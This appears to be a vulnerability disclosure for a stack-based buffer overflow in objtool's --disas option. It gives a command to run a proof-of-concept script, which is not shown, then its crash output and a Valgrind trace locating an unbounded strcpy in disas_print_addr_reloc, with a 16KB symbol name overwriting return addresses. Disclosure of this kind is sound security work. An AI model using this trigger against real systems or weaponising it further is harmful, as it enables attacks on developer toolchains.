Stack based Buffer Overflow in Objtool --disas

To run:

chmod +x poc.sh && ./poc.sh

Expected results:

generate 16kb symbolname
creating bad asm
triggering
_start:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
�݄'��8��U�D}p� �8��U�M䑗8��U  Q8��U���� �8��UdI}p� K}p��o}p�}8��U�D}p��8��U�D}p�xD}p������3+p}p�@/8��U
                                                                                                     p}p����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA L}p�SXPF�	�	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUUUEXPF./poc.sh: line 26: 67167 Segmentation fault         (core dumped) ./objtool --disas=\* poc.o

Valgrind

valgrind --leak-check=full --track-origins=yes ./objtool --d
isas=\* poc.o
==30412== Memcheck, a memory error detector
==30412== Copyright (C) 2002-2024, and GNU GPL'd, by Julian Seward et al.
==30412== Using Valgrind-3.25.1 and LibVEX; rerun with -h for copyright info
==30412== Command: ./objtool --disas=* poc.o
==30412== 
_start:
==30412== Invalid write of size 1
==30412==    at 0x509E993: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30412==    by 0x40218CC: disas_print_addr_reloc (disas.c:272)
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==    by 0x4141414141414140: ???
==30412==  Address 0x1fff001000 is not stack'd, malloc'd or (recently) free'd
==30412== 
==30412== Invalid read of size 1
==30412==    at 0x509E833: strlen (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30412==    by 0x5248357: __printf_buffer (vfprintf-process-arg.c:443)
==30412==    by 0x52708EB: __vsnprintf_internal (vsnprintf.c:96)
==30412==    by 0x532A887: __snprintf_chk (snprintf_chk.c:38)
==30412==    by 0x4025918: snprintf (stdio2.h:54)
==30412==    by 0x4025918: signal_handler (signal.c:47)
==30412==    by 0x5216DAF: ??? (in /usr/lib/libc.so.6)
==30412==    by 0x509E992: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30412==  Address 0x1fff001000 is not stack'd, malloc'd or (recently) free'd
==30412== 
==30412== 
==30412== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==30412==  Access not within mapped region at address 0x1FFF001000
==30412==    at 0x509E833: strlen (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30412==    by 0x5248357: __printf_buffer (vfprintf-process-arg.c:443)
==30412==    by 0x52708EB: __vsnprintf_internal (vsnprintf.c:96)
==30412==    by 0x532A887: __snprintf_chk (snprintf_chk.c:38)
==30412==    by 0x4025918: snprintf (stdio2.h:54)
==30412==    by 0x4025918: signal_handler (signal.c:47)
==30412==    by 0x5216DAF: ??? (in /usr/lib/libc.so.6)
==30412==    by 0x509E992: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30412==  If you believe this happened as a result of a stack
==30412==  overflow in your program's main thread (unlikely but
==30412==  possible), you can try to increase the size of the
==30412==  main thread stack using the --main-stacksize= flag.
==30412==  The main thread stack size used in this run was 8388608.
==30412== 
==30412== HEAP SUMMARY:
==30412==     in use at exit: 68,539 bytes in 25 blocks
==30412==   total heap usage: 28 allocs, 3 frees, 70,067 bytes allocated
==30412== 
==30412== 8,192 bytes in 1 blocks are definitely lost in loss record 17 of 19
==30412==    at 0x50948D8: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==30412==    by 0x4025B72: init_signal_handler (signal.c:109)
==30412==    by 0x4008F91: main (objtool.c:111)
==30412== 
==30412== LEAK SUMMARY:
==30412==    definitely lost: 8,192 bytes in 1 blocks
==30412==    indirectly lost: 0 bytes in 0 blocks
==30412==      possibly lost: 0 bytes in 0 blocks
==30412==    still reachable: 60,347 bytes in 24 blocks
==30412==         suppressed: 0 bytes in 0 blocks
==30412== Reachable blocks (those to which a pointer was found) are not shown.
==30412== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==30412== 
==30412== For lists of detected and suppressed errors, rerun with: -s
==30412== ERROR SUMMARY: 3 errors from 3 contexts (suppressed: 0 from 0)
fish: Job 1, 'valgrind --leak-check=full --tr…' terminated by signal SIGSEGV (Address boundary error)